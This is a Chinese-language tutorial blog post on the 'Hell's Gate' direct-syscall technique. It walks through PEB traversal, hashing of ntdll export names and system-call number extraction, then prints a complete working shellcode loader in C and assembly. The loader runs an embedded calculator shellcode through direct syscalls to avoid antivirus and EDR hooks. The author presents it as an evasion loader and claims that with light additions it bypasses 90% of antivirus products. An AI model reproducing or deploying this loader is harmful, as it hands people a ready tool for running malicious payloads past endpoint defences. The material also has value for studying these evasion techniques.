还记得我前面一篇文章讲到的在Ring3 对抗Hook吗?? 我讲到的一种方法就是系统调用!!
那么今天就来讲一下一个很出名的直接系统调用(Syscall)-----> [!] 地狱之门(Hell 's Gate)[!]
目录
1.Syscall
2.地狱之门的大致流程
3.代码逐步解析
4.地狱之门的优劣
5.Hell's Gate源码(稍有改动)
1.Syscall
好像在上一篇文章里面提到过一下我们的syscall,系统调用
mov r10 , rcx
mov eax , ssn
syscall
当然,它的原型是下面这样的,只不过大部分的现在计算机都是用的syscall而不是通过int 2e(中断门)的形式去进入Ring 0了
mov r10 , rcx
mov eax , ssn
test
jne
syscall
ret
int 2e
ret
由于这个过程并没有通过GetProcAddress,GetModuleHandle或者说你自己PEB寻址获取到的NT函数地址去进行调用NT函数,所以也就避免了被杀软或者EDR进行Hook你的NT函数而导致你会被杀!!
::这就是为什么syscall能绕过EDR或者AV在Ring3的Hook!!
2.地狱之门的大致流程
- 首先获取到Ntdll的地址
- 然后通过PE去定位它的导出表
- 再将我们的目标函数像 NTCreateThreadEx这种函数去进行加密,再和导出表中的函数名称表进行对比
- 当找到之后,就通过得到的地址,依次匹配它的机器码(即便有Hook也能找到),获取到ssn
- 最后就是通过写汇编进行syscall直接系统调用
3.代码逐步解析
下面就是大量的PE知识和一些Windows架构的知识了!
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
首先TEB调用了 RtlGetThreadEnvironmentBlock()这个函数,我们跟进去!
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
其中对于__readgsqword()
__readgsqword(0x30)
: 这是一个编译器内建函数,用于从 GS 段寄存器中读取 64 位值。在 64 位 Windows 系统中,TEB
的地址存储在 GS 段寄存器的偏移量0x30
处。
在获取到了TEB之后,就是去获取PEB了,下面这行代码就能获取到PEB
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
在拿到了PEB之后,熟悉的就知道我们要去找双向链表了,不熟悉的也没关系,我来普及一下
在PEB的0x00c(32位)偏移处,我们存在一个_PEB_LDR_TABLE 的LDR结构,
跟进去,就有一个三个双向链表的结构,都是_LIST_ENTRY的结构,这个结构里面有两个成员,分别是Flink和Blink,分别指向后一个和前一个节点的同链表,而下一个节点(除了_PEB_LDR_TABLE以外),都是_LDR_DATA_TABLE_ENTRY的结构,除了第一个是EXE本身的模块映射,其他都是装载着加载了的DLL!!!
说起来有点抽象,来张图片就比较好理解了!
所以就有了我们这个代码
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InLoadOrderModuleList.Flink->Flink);
当然了,我们两个Blink获取到的第二个节点信息就是NTDLL对应的节点(NTDLL默认除了EXE以外是第二个加载)
这里也完全可以找InMemoryOrderModuleList这个链表,只不过你的两次Flink之后要进行减 0x30这样才能获取到节点信息头(源代码也是这么干的,我这里小小改了一下)
通过上面的代码,我们就获取到了Ntdll映射在内存中的VA了,接下来就是PE的知识了
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
上面的pModuleBase就是刚才获取到的Ntdll的基地址,然后就是通过这个去寻找DOS头,NT头
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
上面这个代码就是用来获取到导入表的VA,还记得我们讲过在Nt头中存在一个结构叫做IMAGE_OPTIONAL_HEADER32,里面又有一个结构Data_Directory (翻出以前的图)
其中的第0个索引就是我们的导出表,这个结构里面存在着导出表的RVA,于是通过加上我们的模块地址,就能拿到我们的导出表的VA了!!!
这时,得插入两个结构体
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
上面的代码中,第一个就是我们每一个Nt函数所对应的地址,名字哈希,ssn!!
然后就一个VX_TABLE 来用集成管理我们的NT函数。
后面,就拿我们的NtAllocVirtualMemory来举例子
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
首先它通过djb2算法将NtAllocVirtualMemory进行哈希转换,得到0xf5bd373480a6b89b
然后跟进去GetVxTableEntry这个函数
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
跟进去,首先他是获取了导出表中的,函数名字表,函数地址表,函数名称序号表,这三个表的VA!!!
然后就是进行机器码的匹配
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
其中这个CX是一个初始化为0的DWORD数,其中pdwAddressOfNames通过cx索引,返回对应索引函数名字的RVA,和NTDLL的基地址相加之后就能获取到了对应函数名字的VA,接着就是获取到对应函数地址的VA。
if (djb2(pczFunctionName) == pVxTableEntry->dwHash)
开始if判断,如果刚才获取到的地址对应的值进行哈希之后是和我们匹配的NtAllocVirtualMemory函数的哈希相同,那么我们就进入循环,否则就让cw++
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
进来就是获取地址的值进行判断是否是当前是syscall或者ret,是就返回
然后如果不是的话,我们就开始判断对应的机器特征码0x4c 0x8b 0xb8 这种mov等特征码
如果判断是的话,我们就返回syscall的对应ssn
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
通过上面代码,我们分别能获取到对应NT函数的SSN,并且将他们存储在对应结构wSystemcall中
然后就是进去Payload这个函数,里面放着我们自己的shellcode(这里可以做一个加解密)
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
然后这段代码就是到我们的汇编了 HellGate 和 HellDescent分别汇编如下
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
通过上面,我们能看见这个汇编其实就是通过HellGate动态获取到了SSN,然后通过HellDescent进行Syscall!!
不过比较好玩的是,对于memcpy,他是没有NT函数的,所以作者就用了这个自定义函数
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}
在不调用API的情况下实现了Memcpy!!
至此,我们的整个地狱之门的源代码就结束了!!!!
4.地狱之门的优劣
地狱之门首先是能动态获取到操作系统的ssn,这一点是很好的优势,然后过程中用函数名字的哈希来代替函数名字,是一个很好的反调试,抗分析的思路(不会像我们直接getprocaddress的第二个参数这么明显),但是缺点就是调用链不完整,如果强一点的杀软用栈回溯就会立刻寄!
相比起间接系统调用,syswhisper等项目,地狱之门算是系统调用里面比较好理解和去了解直接系统调用的了(如果你能看懂我上面写的东西的话)
当然了,我们可以换一些函数名字,加上加解密,加点沙箱,API Hammering 等啥的打乱调用链,那么对于新手来说,这个Loader就已经是一个不错的Loader了!! 绕过90%的杀软没问题!
5.Hell's Gate源码(稍有改动)
原创地址am0nsec/HellsGate: Original C Implementation of the Hell's Gate VX Technique (github.com)
main.c (shellcode是计算器,便于调试)
#pragma once
#include <Windows.h>
#include "structs.h"
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(
_In_ PVOID pModuleBase,
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);
BOOL GetVxTableEntry(
_In_ PVOID pModuleBase,
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
_In_ PVX_TABLE_ENTRY pVxTableEntry
);
BOOL Payload(
_In_ PVX_TABLE pVxTable
);
PVOID VxMoveMemory(
_Inout_ PVOID dest,
_In_ const PVOID src,
_In_ SIZE_T len
);
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InLoadOrderModuleList.Flink->Flink);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
Payload(&Table);
return 0x00;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
/* length: 926 bytes */
/* length: 926 bytes */
char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}
Hell's Gate.asm
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end